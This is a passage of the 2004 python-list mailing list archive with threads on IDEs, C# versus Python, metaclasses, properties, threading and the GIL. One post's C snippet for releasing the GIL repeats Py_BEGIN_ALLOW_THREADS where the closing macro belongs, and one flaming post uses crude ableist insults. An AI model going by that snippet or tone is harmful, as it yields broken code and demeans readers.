types become >>classes. >> >>Would making Bool a class permit the achievement of these objectives? >> >>If Bool were a class, then subclasses could use __repr__ to provide >>alternative responses to False/True, such as No/Yes or Fail/OK. > > > No, this has nothing to do with it. The representation is not the issue. > The issue is that currently, 'a and b' returns either a or b. Suppose we > have an array A = [a1, b1, c1], B = [a2, b2, c2], A and B will currently > always return A. However, we may want it to return [a1 and a2, b1 and > b2, c1 and c2]. That is what this PEP is about. I misled with my comment about reprsentation. The basic suggestion I was trying to make is that, with a subclass, the expression 'A and B' could return almost whatever one wishes. The use of __repr__ is a secondary benefit. Colin W. > > The lack op ability to subclass bool is something different. I don't > know why that is. > > regards, > Gerrit. > From nk at ebox.gr Sun Sep 19 19:28:12 2004 From: nk at ebox.gr (Nikos Kouremenos) Date: Mon, 20 Sep 2004 02:28:12 +0300 Subject: python is going to die! =( In-Reply-To: <mailman.3520.1095631846.5135.python-list@python.org> References: <mailman.3520.1095631846.5135.python-list@python.org> Message-ID: <1095636354.486723@athnrd02> julio wrote: > > > Sorry but there is no another way, c# .net and mono are going to rip > python, not because python is a bad lenguage, but because is to darn old > and it refuses to innovate things, to fix wrong things, just because > retarded backwards compatibility and because the python comunity and > developers refuses to consider tools as being almost as important as the > language itself. > > What does c# .net has that python doesnt ? (significant features) > > -- tools,tools,tools : have people that likes python ever used an ide? i > mean a good ide, the one that saves you a lot of time, and makes you > productive. > > looks like they havent, they think new people is willing to practice emacs > for 6 months before even thinking about being productive, not to mention > you have to learn 20 years old list, and low level c stuff to have fully > advantage. Those guys are realy happy with their stuff that totaly, > completly refuses to try a new tool, a new tool that 'is' better, like say, > an ide??. > > Then we have the , you just need a text editor. This is realy amazing, > tecnology improves, people have to change their way of thinking, i realy > cant count the number of text editors avaiable for python, with basicaly > just syntax highlighting.For example, idle : > > idle is just a text editor with syntax color,nothing else, then you see > that half of buttons are so fucking retarded things that you never > need,indentation stuff, replace tabs and all crap that you never realy > need, the class browser and path browser were in the right way, before they > got abandoned with just the most basic low functionality. > > No help in real programing? why? why do i need to press a retarded button > to indent-deindent reindent stuff but i dont need help with integrated help > system , code completion , source assistant , a freaking decent calltips > support, etc ? It realy makes no sense , no sense at all. > > Why do these people keep reinventing text editors again and again and again > to just add some retarded functionality that noone ever needs? pycrust , > drpython, leo , idle , eclipse plugins(py editors with color) they all love > to reinvent the wheel instead of trying to work together on some common > project to do something usefull, boy if i want a text editor with syntax > color i just use vim,or kate or something. > > For the C # Side there IS : > > sharp develop, wich is going to be ported to linux and mac, and it is even > better than vstudio! is open source . > > monodevelop , which is a little inestable but very very usable , and has > real features!! proyect browsing , full calltips ,code completion,source > help, doc help system , you know , productivity features. > > > -- C # is almost perfetly designed, python is very well designed but it has > some crap that obscurize it and is not going to be removed because of the > damn backwards compatibility thing, C # has all the advantages there is > new ,it has learned from other languages mistakes. Python must break > backward compatibility to be at the same level of play. > At least python has just a few problems in this area compared to java,which > is 50% crap , just to hold backwards compatibility. > > -- C # is easy to use,fast apps coding (as python) but!! it has all the > advantages of a compiled language , like less bugs concerning silly types > mistakes , ides and tools can take much much more advantage of static > typing , it is much much much faster , and finally is much more readable > than python since i dont have to be guessing in the woods to know what type > of value a function return , or what types are the functions argument or > WTF does 'return MOM' means? > > -- C # is killing python, first the gnome guys dont know what to choose for > their core system development , if mono-C # ? or java ? the only reason C # > hasnt being choosen is because of legal issues, and java? well it realy > sucks so no surprise , but is considered just because eclipse wich is the > most kick ass ide ever. AND they dont even consider python for a high level > language to choose!! > > Look at source-forge,(around) python : 3000 proyects , C # 1500 proyects > and C# is much younger than python, not to mention mono is new!! 2 times > more C # proyects are started than python proyects by month, so very soon > C# is going to completly replace python in their areas. Not to mention that > C# proyects are generaly bigger, compared to small command line tools, > python proyects. > > I think is a fact, reality , there is just no way python is going to > survive, i would be happy if someone knows or see something i dont , > because i realy like python, but : C # which has all the m$ licenses and > crap involved is so superior to python in so many ways, its not even > funny,and C# has serius tools, ides ,etc. Look at > nhibernate,nunit,njasper,the super sharp-develop ,monodevelop,etc. BTW > wingware has a very nice ide, but close sourced and at a price of 200$ for > os is ridiculous,and their personal edition is pure crap, no > code-assistant ? lol. Is there a posibility python survives 2 years more at > least? > > Btw , nice quotes on python site : "Python has been an important part of > Google since the beginning, and remains so as the system grows and evolves. > Today dozens of Google engineers use Python, and we're looking for more > people with skills in this language." said Peter Norvig, director of search > quality at Google, Inc. > > But the google code jam, the one google searchs for new hackers to join > their lines is only for c# , java , c++ , nice irony , lie,lie. > > Juilio do what you like go buy VS.net and leave clpy out of this. a lot of devs don't need IDE working with Python but if you really do want one, buy: http://www.thekompany.com/products/blackadder/ oh and btw, there's also IronPython and 'boo'. HTH From jocknerd1 at yahoo.com Fri Sep 17 14:51:22 2004 From: jocknerd1 at yahoo.com (Jocknerd) Date: Fri, 17 Sep 2004 14:51:22 -0400 Subject: Sorting a dictionary field belonging to a list Message-ID: <pan.2004.09.17.18.51.21.514390@yahoo.com> I have a list called teamlist which contain dictionaries of teams. These are the fields in my team dictionary: name, won, lost, tied, pf, pa To print standings I do the following: def printStandings(teamlist): for team in teamlist: print (team['name'], team['won'], team['lost'], team['tied'], team['pf'], team['pa']) My question is how would I go about sorting the output based on team['pf'] for instance? From in.aqua.scribis at nl.invalid Tue Sep 7 16:30:22 2004 From: in.aqua.scribis at nl.invalid (Peter Kleiweg) Date: Tue, 7 Sep 2004 22:30:22 +0200 Subject: unexplained behavior of tkMessageBox.askyesno In-Reply-To: <pan.2004.09.07.16.19.01.81605@jerf.org> References: <Pine.LNX.4.44.0409072116420.1090-100000@kleigh.nl> <Pine.LNX.4.44.0409072141110.1090-100000@kleigh.nl> <pan.2004.09.07.16.19.01.81605@jerf.org> Message-ID: <Pine.LNX.4.44.0409072228120.1090-100000@kleigh.nl> Jeremy Bowers schreef: > On Tue, 07 Sep 2004 21:43:02 +0200, Peter Kleiweg wrote: > > If I have used openProject(), the function makeClean() always > > prints 'False', no matter what I choose. > > If I had to guess, I'd say the problem is that you aren't using Tk > correctly. You really need to run > > root = Tk() > root.mainloop() I have that. The tkMessageBox.askyesno() is called from a function that is a callback from a menu item attached to root. -- Peter Kleiweg L:NL,af,da,de,en,ia,nds,no,sv,(fr,it) S:NL,de,en,(da,ia) info: http://www.let.rug.nl/~kleiweg/ls.html From carribeiro at gmail.com Mon Sep 27 11:21:54 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Mon, 27 Sep 2004 12:21:54 -0300 Subject: Metaclass with name overloading. In-Reply-To: <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com> References: <tyfekkoeyk2.fsf@pcepsft001.cern.ch> <mailman.3957.1096289972.5135.python-list@python.org> <1gks231.p4u2yr14s3pwfN%aleaxit@yahoo.com> <mailman.3960.1096294403.5135.python-list@python.org> <1gks5og.1iwnfub1tnkj0xN%aleaxit@yahoo.com> Message-ID: <864d370904092708211988f990@mail.gmail.com> On Mon, 27 Sep 2004 16:47:31 +0200, Alex Martelli <aleaxit at yahoo.com> wrote: > I'm confused as to why you would assume that and what you mean by > 'declaration'. I'll take it that you mean the _execution_ of the class > _statement_, in which case I really can't see how you could assume any > such thing. You _do_ know that __metaclass__ can be set anywhere in the > class body, for example, right? So how could Python know the metaclass > before it's done executing the class body? Yet it's exactly in order to > execute the class body in the modified way you desire, that Python would > need to set a certain frame's f_locals differently from the usual dict. Forgive me, because I've made a big confusion. For some reason, I assumed that the __metaclass__ statement had to be the first one on the class declaration. I don't know why. Probably because all examples that I have seen so far have were done like that, and in a way, it made sense to me -- probably because I wanted it to be that. I think that I'm trying to do too many thing at once, with more enthusiasm than solid knowledge. I really feel that I'm on the right path, but I'm still missing a lot of stuff. I'll try to rest a little, think carefully about all the ideas that have popped in my mind over the past week, and try to study it a little better *before* trying to post again. Real thanks for all the help. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From adalke at mindspring.com Mon Sep 6 16:27:33 2004 From: adalke at mindspring.com (Andrew Dalke) Date: Mon, 06 Sep 2004 20:27:33 GMT Subject: Secure delete with python In-Reply-To: <du74qmb9mzs.fsf@amadeus.cc.tut.fi> References: <pan.2004.09.06.13.01.15.399532@REMOVE_mindless_ME.com> <chhoae$5pp$1@online.de> <chhoij$62d$1@online.de> <du74qmb9mzs.fsf@amadeus.cc.tut.fi> Message-ID: <VK3%c.2013$ip2.2002@newsread3.news.pas.earthlink.net> Ville Vainio wrote: > Seriously? What OSen are known for [writing new content at > another location of the disk]? I'd had thought that if > the file size is unchanged, the data is always written over the old > data... It can even be filesystem specific. Back in the days of WORM drives (do people still use those?) you could write once to a place on the drive, but read it many times. (Write Once Read Many). Changing a file meant writing a new copy of it and writing a new index to point to the new file, ignoring the old. That is, all copies of the file would stay on the disk. The VMS systems always kept an old copy of the file around unless you explicitly deleted it. By default a directory listing would only show the most recent copy of the file, but you could tell it to show all the versions, which would look like (roughly, been 15 years since I last saw VMS) MYFILE;1 MYFILE;2 .. MYFILE;94 It was believed this feature was a deliberate ploy of DEC to sell more hard drives. ;) If you read a file then wait a while, and during that time the OS decided to defragment the drive then the location of the file could easily be changed from underneath you. Andrew dalke at dalkescientific.com From dale_huffman at steris.com Wed Sep 15 13:47:07 2004 From: dale_huffman at steris.com (Dale Huffman) Date: 15 Sep 2004 10:47:07 -0700 Subject: IEEE 754 floats References: <a2a325a7.0409140504.2d36562b@posting.google.com> <ci6uf7$jgh$1@news1.ucsd.edu> Message-ID: <a2a325a7.0409150947.75b57e03@posting.google.com> Thanks everyone it works... but does this seem like a kludgy (sp?) way to do this, or have I just not gotten to PythonThink mode yet. From jianqiz at bigpond.com Thu Sep 30 11:46:44 2004 From: jianqiz at bigpond.com (Michael Zhang) Date: Thu, 30 Sep 2004 15:46:44 GMT Subject: One thread freezes my whole application In-Reply-To: <415aa436$0$240$edfadb0f@dread14.news.tele.dk> References: <GGt6d.8022$5O5.6405@news-server.bigpond.net.au> <415aa436$0$240$edfadb0f@dread14.news.tele.dk> Message-ID: <ETV6d.9689$5O5.8558@news-server.bigpond.net.au> Anders J. Munch wrote: > "Michael Zhang" <jianqiz at bigpond.com> wrote: > >>The problem is when I click the connection button and invoke that >>connection thread, the whole application (including base thread and >>display thread) was frozen. What I expected was when one thread is >>listerning the socket, the display thread should be able to continue its >>running, and I should be able to invoke other (if any) threads from the >>GUI base thread. Afterwards, I had to use ps/kill to clean them up. >> > > [...] > >> def run(self): >>Cmodule.create_connection() # Cmodule is created from C >> > > Do I understand you correctly that Cmodule is a C extension? > > If create_connection includes C code that does blocking I/O without > releasing the global interpreter lock, your whole application will > block. Perhaps that's what you're seeing. > Thank you, Anders Your hint on GIL leads me quite lots of searching and reading on Google. After several hours confusion (due to those different opinions), I finally come to a quite simple and amazing solution: Py_BEGIN_ALLOW_THREADS; # add this line some_blocking_function_call(); Py_BEGIN_ALLOW_THREADS; # add this line as well Now I've got what I really expected. However, there is a new question (rather than a problem). Since my Cmodule is created using SWIG, if there is any change in the original C code, I have to run swig again to get new "Cmodule_wrap.c" file, and add above two lines into that new wrapper file, then build a new module. It's quite uncomfortable during debugging. Is there any way I can use to achieve the same goal on Python side code, rather that on C extension side? Can I just modify the Python code to release that GIL? or Do I have any misunderstading about GIL, say, the concept about GIL only applies to C extension rather than Python threading itself? Michael From peter at engcorp.com Thu Sep 16 10:35:11 2004 From: peter at engcorp.com (phansen) Date: Thu, 16 Sep 2004 10:35:11 -0400 Subject: mail addresses In-Reply-To: <4edc17eb.0409160606.2ed0e56@posting.google.com> References: <4edc17eb.0409160606.2ed0e56@posting.google.com> Message-ID: <jJ-dnbgQIuQCOdTcRVn-oA@powergate.ca> Michele Simionato wrote: > Suppose I have an email.Message object. > I can extract the sender by using ["From"]. However sometimes I > get addresses in the form > > John Doe <john.doe at somedomain.com> > > sometimes I get addresses in the form > > jane.doe at someotherdomain.org > > Is there a standard way to normalize the addresses? It is only the second > form that I am interested in. TIA, from email.Utils import parseaddr -Peter From siona at chiark.greenend.org.uk Wed Sep 22 12:18:03 2004 From: siona at chiark.greenend.org.uk (Sion Arrowsmith) Date: 22 Sep 2004 17:18:03 +0100 (BST) Subject: python ides References: <cip735$e01$1@sea.gmane.org> <mailman.3662.1095789622.5135.python-list@python.org> Message-ID: <Zax*ULgvq@news.chiark.greenend.org.uk> kevin <kevin_spencer_2 at yahoo.com> wrote: >I am talking about pure functionality we all want, advanced debugging , >inline object information , I don't want inline object information. I want object information over there --> so it's to hand should I need it and out of the way and not cluttering up my workspace according to someone else's idea of how I would be most productive when I don't. > fast proyect development,etc. Yes, but I want to develop projects along the lines that are best suited to the task and the development context, not just those that the IDE developer thought of. > you cant deny that some of the >features i mentioned are realy time saver , at least if you saw the >screenshoots especialy the first one . Popping up a spurious extra control window over the insertion point as you're typing is a *time saver*? Now I know you're not serious. -- \S -- siona at chiark.greenend.org.uk -- http://www.chaos.org.uk/~sion/ ___ | "Frankly I have no feelings towards penguins one way or the other" \X/ | -- Arthur C. Clarke her nu become? se bera eadward ofdun hl?ddre heafdes b?ce bump bump bump From bokr at oz.net Sat Sep 11 02:15:45 2004 From: bokr at oz.net (Bengt Richter) Date: 11 Sep 2004 06:15:45 GMT Subject: Is there no switch function in Python References: <CR20d.46131$Vf.2380522@news000.worldonline.dk> <1gjv9x9.ory9xvc5569dN%aleaxit@yahoo.com> <cht6cc$uci$0$216.39.172.122@theriver.com> <2qf5f9Fv0eamU1@uni-berlin.de> Message-ID: <chu56h$57p$0$216.39.172.122@theriver.com> On Fri, 10 Sep 2004 22:20:13 -0400, Leif K-Brooks <eurleif at ecritters.biz> wrote: >Bengt Richter wrote: >> But IWT if we had named local code suites, we could exec them safely via a mapping. E.g., >> >> def foo(var): # following is not legal code ;-) >> v1: print 'var is one' >> v2: # any suite should be ok, not just one-liners >> print 'var', >> print 'is two' >> switch = {1:v1, 2:v2} >> exec switch.get(var, '') > >I'm probably missing something, but what's wrong with: > >def foo(var): > def v1(): print 'var is one' > def v2(): > print 'var', > print 'is two' > switch = {1:v1, 2:v2} > switch.get(var, lambda:None)() Sorry, I should have shown an example that really depends on local name space rebinding, which the OP's example doesn't, and which was my main point. E.g., try getting the effect of: def foo(var): # following is not legal code ;-) v1: print 'var is one' var += 1 status = 'incremented' v2: # any suite should be ok, not just one-liners print 'var', print 'is two' var *= 2 status = 'doubled' switch = {1:v1, 2:v2} exec switch.get(var, '') print 'var is now %r, and was %s.' % (var, status) return var, status Regards, Bengt Richter From manuelbastioniNOSPAM at tin.it Sat Sep 11 11:40:52 2004 From: manuelbastioniNOSPAM at tin.it (manuel) Date: Sat, 11 Sep 2004 15:40:52 GMT Subject: little problem with list.reverse() function In-Reply-To: <41431a95$0$65567$a1866201@newsreader.visi.com> References: <LRE0d.236333$OR2.10714605@news3.tin.it> <41431a95$0$65567$a1866201@newsreader.visi.com> Message-ID: <80F0d.236387$OR2.10717290@news3.tin.it> Grant Edwards wrote: >>>>a.reverse() >>>>print a oops....THANKS :-) From aleaxit at yahoo.com Wed Sep 8 11:47:16 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Wed, 8 Sep 2004 17:47:16 +0200 Subject: Using Python to generate code? References: <ed89f8f2.0409072251.2152c22b@posting.google.com> <pan.2004.09.08.03.35.16.733137@jerf.org> Message-ID: <1gjt2oi.1fe1y8mpb2jxdN%aleaxit@yahoo.com> Jeremy Bowers <jerf at jerf.org> wrote: ... > > 2. Does Python has a parser? It seems to me that there is no-standard > > Parser for Python right now. If it is the case, can I interface Python > > with existing cup and lex? > > Why are you asking about a parser when you are talking about *outputting* > code? Is there something left out of the problem description? the original poster started his original post with: > I need your advice on this matter. I am working on a program which > takes some pieces of System-C code in and generate some other System-C That "takes some pieces of ... code" sounded to me like an indication that a parser is needed -- nothing left out of the problem description, IMHO. Alex From godoy at ieee.org Fri Sep 17 10:40:56 2004 From: godoy at ieee.org (Jorge Godoy) Date: Fri, 17 Sep 2004 11:40:56 -0300 Subject: up with PyGUI! References: <mailman.3318.1095180577.5135.python-list@python.org> <m3vfeg69xp.fsf@g2ctech.com> <2qq5adF133c5kU1@uni-berlin.de> <m3isaf1xki.fsf@g2ctech.com> <2qvc54F143difU1@uni-berlin.de> Message-ID: <m3k6utyn47.fsf@g2ctech.com> Greg Ewing <greg at cosc.canterbury.ac.nz> writes: > Jorge Godoy wrote: >> I'm not familiar with the looks on Macs... > > In that case, seeing a screen shot wouldn't help you decide whether it > looked Mac-like. :-) No, but would help me seeing if it has a pleasurable look. :-) I would believe if it had screenshots and said it has native look and after some public announces nobody contested it. :-) > Yep, once again, Apple is way ahead of everyone else with their > integration of PDF imaging into the core graphics stuff. That's what > gives those images their nice anti- aliased look... People said here we can get that with OpenOffice.org... I'll try it later. The problem is not the result -- as I think we can get those results with SodiPodi, Gimp and other tools in a chain or even alone... -- but the effort to get that result. Be seeing you, -- Godoy. <godoy at ieee.org> From gohadbhai at rediffmail.com Tue Sep 28 00:34:11 2004 From: gohadbhai at rediffmail.com (Sandeep Avinash Gohad) Date: 28 Sep 2004 04:34:11 -0000 Subject: A Question.... Message-ID: <20040928043411.27624.qmail@webmail26.rediffmail.com> An HTML attachment was scrubbed... URL: <http://mail.python.org/pipermail/python-list/attachments/20040928/87c22a2f/attachment.html> -------------- next part -------------- ? Hi How to create ".exe" file of any python program.As after creating the ".exe" file I can run the program without python software, Also the same with Unix or Linux operating System. Is there any tool available to create the setup of any program. Like we have the tools like "install-shield" or "Package & Deployment" I am interested in developing a data-base related program with python so if u know any useful links please send it to me. Thanx Sandeep From aleaxit at yahoo.com Mon Sep 13 05:09:07 2004 From: aleaxit at yahoo.com (Alex Martelli) Date: Mon, 13 Sep 2004 11:09:07 +0200 Subject: Property with parameter... References: <mailman.3221.1095062393.5135.python-list@python.org> Message-ID: <1gk1sn7.mbsc0o17dm56rN%aleaxit@yahoo.com> kepes.krisztian <kepes.krisztian at peto.hu> wrote: > Hi ! > > I want to create a property that can use parameter(s). > In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> > Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer); > > class A(object): > def __init__(self): > self.__Tags={} > def GetTag(self,tname): > return self.__Tags.get(tname,None) > def SetTag(self,tname,value): > self.__Tags[tname]=Value > Tag=property(GetTag,SetTag) > > a=A() > print a.Tag('A') > print a.Tag['A'] > > But it is seems to be not possible in this way. Have your get method return an instance of an auxiliary class which implements __getitem__ and __setitem__ (if you want to use square brackets; if you want to use round parentheses, then __call__, but beware -- you can't have a bare call on the left of an assignment!!!). For example, a small refactoring of your attempt might be: class A(object): def __init__(self): self.__Tags={} self.__TagsAccessor = None def getTagsAccessor(self): if not self.__tagsAccessor: def getter(__, tname): return self.__Tags.get(tname, None) def setter(__, tname, value): self.__Tags[tname] = value class TagAccessor: pass TagAccessor.__getitem__ = getter TagAccessor.__setitem__ = setter self.__TagsAccessor = TagAccessor() return self.__TagsAccessor Tag = property(getTagsAccessor) Now, you can use such code as: a = A() print a.Tag['foo'] a.Tag['foo'] = 'barbaz' print a.Tag['foo'] Note that we define no setter at all for Tag. This means that, e.g.: a.Tag = 23 will raise "AttributeError: can't set attribute". The way we coded, a.Tag MUST be indexed when used on the left of an = sign in an assignment. If that's not what you want -- if you do want to allow assigning to bare a.Tag without an index -- then, and only then, write a setTagsAccessor and give it whatever semantics you wish, and pass it as the second argument in the call to property. Of course, you can refactor this basic idea in many different ways. I have used closures for getter and setter so as to finesse any trouble with your use of leading double underscore, though that means that the first argument of getter and setter CAN'T be named self (I used __ to indicate I mean to ignore that argument...), but there are many other possibilities, such as a more general TagAccessor class which takes self.__Tags in its __init__, etc, etc. You could even choose to use a custom descriptor class instead of the built-in property, but I don't think that's warranted if all you need is what you have expressed. Alex From eduardxapelli at retemail.es Wed Sep 29 10:19:02 2004 From: eduardxapelli at retemail.es (eduardxapelli at retemail.es) Date: Wed, 29 Sep 2004 16:19:02 +0200 Subject: xsvfbfuykz Message-ID: <20040929142154.90B021E4002@bag.python.org> ******************************* WARNING ****************************** Este mensaje ha sido analizado por MDaemon AntiVirus y ha encontrado un fichero anexo(s) infectado(s). Por favor revise el reporte de abajo. Attachment Virus name Action taken ---------------------------------------------------------------------- DOCUMENT.COM I-Worm.Mydoom.m Removed ********************************************************************** The original message was received at Wed, 29 Sep 2004 16:19:02 +0200 from retemail.es [64.134.58.182] ----- The following addresses had permanent fatal errors ----- python-list at python.org From andymac at bullseye.apana.org.au Wed Sep 29 19:17:26 2004 From: andymac at bullseye.apana.org.au (Andrew MacIntyre) Date: Thu, 30 Sep 2004 09:17:26 +1000 (EST) Subject: Maximum number of threads In-Reply-To: <WcC6d.2838$gm.453@okepread07> References: <xbt6d.2829$gm.1283@okepread07> <415abdaa$1_1@omega.dimensional.com> <FuA6d.2832$gm.1483@okepread07> <mailman.4084.1096472866.5135.python-list@python.org> <WcC6d.2838$gm.453@okepread07> Message-ID: <20040930091210.K75192@bullseye.apana.org.au> On Wed, 29 Sep 2004, Kirby Angell wrote: > No, your babbling has gotten me much closer. I'm not sure what changed > between Python 2.2 and Python 2.3, but the problem is the stack size > allocated to each thread. Apparently with glibc on RH9 something along > the order of 8 MB of virtual memory is allocated for the stack of each > thread. 256 threads takes us to the virtual memory limit of the process > itself. Glibc on FC2 must be using a different default stack size, or > the virtual memory limit is higher; I've only recently started running > FC2 on our test servers so I'm not sure which it is. > > The only way to change the stack size is to define THREAD_STACK_SIZE in > the thread_pthread.h header. There is an ifdef for the Mac that sets > this to 64k. Just as a test I forced THREAD_STACK_SIZE to that value > and recompiled Python. I can now create 16k threads although I'm not > sure yet whether our application will run; some tuning is probably in > order. I'm going to get the 2.2 source code and see what is different > between the two and maybe get an idea of what a reasonable stack size is. ISTR that the default stacksize for the LinuxThreads threading implementation (prior to NPTL) was 1MB. It is also worth noting that more recent versions of gcc (3.x) are generating larger stack frames than older versions; something that has affected building the SRE module until it was made non-recursive for Python 2.4. This has probably encouraged the bump in the default stack size. ------------------------------------------------------------------------- Andrew I MacIntyre "These thoughts are mine alone..." E-mail: andymac at bullseye.apana.org.au (pref) | Snail: PO Box 370 andymac at pcug.org.au (alt) | Belconnen ACT 2616 Web: http://www.andymac.org/ | Australia From matt.gerrans at hp.com Tue Sep 21 14:58:40 2004 From: matt.gerrans at hp.com (Matt Gerrans) Date: Tue, 21 Sep 2004 18:58:40 GMT Subject: python vs c# References: <mailman.3520.1095631846.5135.python-list@python.org> <EPmdnagKPrUPhtPcRVn-iQ@giganews.com> <mailman.3529.1095642828.5135.python-list@python.org> <1gkgxts.1fq0rwq10mycqiN%aleaxit@yahoo.com> Message-ID: <AR_3d.11341$a35.9964@news.cpqcorp.net> I skimmed a little part of this thread earlier and now it is all gone from my news reader (thankfully!), so forgive me if this comment was already made by someone else: The idea that Python and C# are mutually exclusive is inane. In fact, the idea that Python and Ruby, or Perl or any other language are mutually exclusive is inane. The more tools you have at your disposal, the better off you are. I've been developing in extensively C# for about a year and a half now and started using Python about twice as long ago or so. I still use Python extensively and find that it complements my work in other languages, including C#. I find that it is often useful to imagine how I would approach a problem in Python, before implementing it in C#, for example. I find it easier to "think in Python" and find that it helps me create better solutions in C, C++, C#, and Java. All these language x vs. language y arguments are silly. I'm more interested in using Python *with* other languages. From kepes.krisztian at peto.hu Mon Sep 13 03:59:43 2004 From: kepes.krisztian at peto.hu (kepes.krisztian) Date: Mon, 13 Sep 2004 09:59:43 +0200 Subject: Property with parameter... Message-ID: <4145536F.7070904@peto.hu> Hi ! I want to create a property that can use parameter(s). In Delphi I can create same thing (exm: Canvas.Pixel[x,y] -> Canvas.GetPixel(self,X,Y):integer; Canvas.SetPixel(self,X,Y,Color::integer); class A(object): def __init__(self): self.__Tags={} def GetTag(self,tname): return self.__Tags.get(tname,None) def SetTag(self,tname,value): self.__Tags[tname]=Value Tag=property(GetTag,SetTag) a=A() print a.Tag('A') print a.Tag['A'] But it is seems to be not possible in this way. How to be can ? Thanx for help ! KK From http Wed Sep 22 17:07:17 2004 From: http (Paul Rubin) Date: 22 Sep 2004 14:07:17 -0700 Subject: Floating-point glitches with the math module. Bug? Or am I missing something? References: <pan.2004.09.20.22.13.05.488469@speakeasy.snip-me.net> <cirqqq$1ngs$1@biggoron.nerim.net> Message-ID: <7xzn3ij9mi.fsf@ruckus.brouhaha.com> Alexandre Fayolle <alf at merlin.fayauffre.org> writes: > Firstly, I use the fact that scipy provides a cosm1 function which > returns cos(x)-1, and which is more precise that for small values of x. The simple approximation is cos(x)-1 = -x**2/2. Fancier approximation is cos(x)-1 = -x**2/2 + x**4/24, which should exceed machine precision for x < 2**-12 or so. > Then I'd like to use an acosm1 function in order to keep the precision. > Since there is no such function available, I'll just solve > cosm1(x)-cos_gamma_minus_1=0 for which I know there is a solution acosm1(x) = sqrt(-2*x) for the simple approximation. Use quadratic formula to solve the fancier one. From narshe at gmail.com Fri Sep 3 10:35:15 2004 From: narshe at gmail.com (Josh Close) Date: Fri, 3 Sep 2004 09:35:15 -0500 Subject: adns-python return codes Message-ID: <4a0cafe204090307351f57b71d@mail.gmail.com> Does anyone know what the return codes for an mx adns python lookup are? I know 0 means a valid domain, and anything else isn't, but there are "no nameservers found" and "timeout" and other things that would have to be retried again. I looked through the source and didn't find anything, and looked through the gnu adns C source and didn't find anything, but I really don't know C at all, so I could have missed something. Thanks. -Josh From rpm1deleteme at direcway.com Tue Sep 21 07:01:00 2004 From: rpm1deleteme at direcway.com (RPM1) Date: Tue, 21 Sep 2004 07:01:00 -0400 Subject: python is going to die! =( References: <mailman.3520.1095631846.5135.python-list@python.org> <10ksur1ou8hb777@corp.supernews.com> Message-ID: <2rafspF17n18jU1@uni-berlin.de> "Tom Cocagne" <rakis at gmpexpress.net> ... > There ARE sound IDEs > available for Python. Perhaps you should be asking why they aren't that > popular. Three possibilities come to mind 1) Python developers are just > plain stupid. Even though they know that quality IDEs exist and would > increase their produtivity, there just too dumb to use them. 2) Quality > IDEs exist and Python developers don't know about it. And 3) Python > developers are aware of the existence and capabilities of these IDEs and > just don't feel the need for them. > I've been tinkering with Python for a long time now, (~8 years), and the lack of a standard GUI designer is annoying, (albeit a minor annoyance). I myself don't care for any of the existing GUI designer packages, so I just code my GUI's without one. I do notice though that when I try to convince a co-worker to try Python, the thing that seems to be the biggest turn off is the lack of an IDE with a GUI designer included standard. I guess my point is that the lack of a standard GUI designer is not going to bother people who know Python, but it will prevent some, (perhaps many), outsiders from ever knowing Python because they can't imagine programming without the IDE/GUI designer. I know there are GUI designers available, but by the time you begin to tell somebody that, they're already shaking their head and walking away. Just my $0.02, Patrick From carribeiro at gmail.com Tue Sep 14 17:16:50 2004 From: carribeiro at gmail.com (Carlos Ribeiro) Date: Tue, 14 Sep 2004 18:16:50 -0300 Subject: Strange "feature" involving double slashes in Win98 In-Reply-To: <qOGdnf9RP5WexdrcRVn-oA@powergate.ca> References: <mailman.3327.1095192228.5135.python-list@python.org> <ci7kou$eqj$00$1@news.t-online.com> <qOGdnf9RP5WexdrcRVn-oA@powergate.ca> Message-ID: <864d370904091414163a12850e@mail.gmail.com> On Tue, 14 Sep 2004 16:43:46 -0400, Peter Hansen <peter at engcorp.com> wrote: > Python 2.3.4 (#53, May 25 2004, 21:17:02) [MSC v.1200 32 bit (Intel)] on > win32 > (...) > >>> os.path.abspath('c://somepath') > 'c:\\somepath' Strange. I've tried it here with different results. ActivePython 2.3.2 Build 232 (ActiveState Corp.) based on Python 2.3.2 (#49, Nov 13 2003, 10:34:54) [MSC v.1200 32 bit (Intel)] on win32 >>> import os.path >>> os.path.abspath('c://work') 'c:\\\\work' Of course, I'm not using the same build as you. Either there was some bugfix inbetween 2.3.2 and 2.3.4, or the underlying libraries used by ActivePython and standard Python differ in this regard (not highly probable, anyway). I'm not sure. -- Carlos Ribeiro Consultoria em Projetos blog: http://rascunhosrotos.blogspot.com blog: http://pythonnotes.blogspot.com mail: carribeiro at gmail.com mail: carribeiro at yahoo.com From daniel at syrinx.net Wed Sep 22 07:26:37 2004 From: daniel at syrinx.net (Daniel Ellison) Date: Wed, 22 Sep 2004 07:26:37 -0400 Subject: python ides In-Reply-To: <mailman.3706.1095850770.5135.python-list@python.org> References: <cip735$e01$1@sea.gmane.org> <mailman.3662.1095789622.5135.python-list@python.org> <41507c8f$0$25693$636a15ce@news.free.fr> <mailman.3678.1095794573.5135.python-list@python.org> <xr6dnS_HwKRaF83cRVn-hw@powergate.ca> <2rbgq9F16q2g8U2@uni-berlin.de> <XMqdnXghW6n9Es3cRVn-qQ@powergate.ca> <2rbqaoF185cfiU3@uni-berlin.de> <mailman.3706.1095850770.5135.python-list@python.org> Message-ID: <2rd5m9F17p21rU1@uni-berlin.de> Ajay wrote: > and i find SciTE and SciTE|Flash very good > I agree, they are very good text editors. I still use Vim. In fact, I write all my Flash ActionScript in Vim as well. Why wouldn't I? It does the job *I* want it to do. Hey, this is a lot like a religious discussion! :) I was even about to say that you can use any IDE you like, as long as you don't try to force it down my throat. "You" being the collective "you", not you in particular, Ajay Dan From renebode at zonnet.nl Tue Sep 7 16:35:28 2004 From: renebode at zonnet.nl (renebode at zonnet.nl) Date: Tue, 7 Sep 2004 22:35:28 +0200 Subject: (no subject) Message-ID: <1094589328.413e1b90b0bf1@webmail.zonnet.nl> Dear Erich, We've been using your xlsp.py (version 0.8) to extract data from Excel spreadsheets. Just recently, we've started to get messages like these on several files: No CONTINUE record found! Do you know what could cause this and how we could fix it? I've CC'ed in the python list in case anyone there can help... cheers, Rene From jerf at jerf.org Tue Sep 21 12:07:52 2004 From: jerf at jerf.org (Jeremy Bowers) Date: Tue, 21 Sep 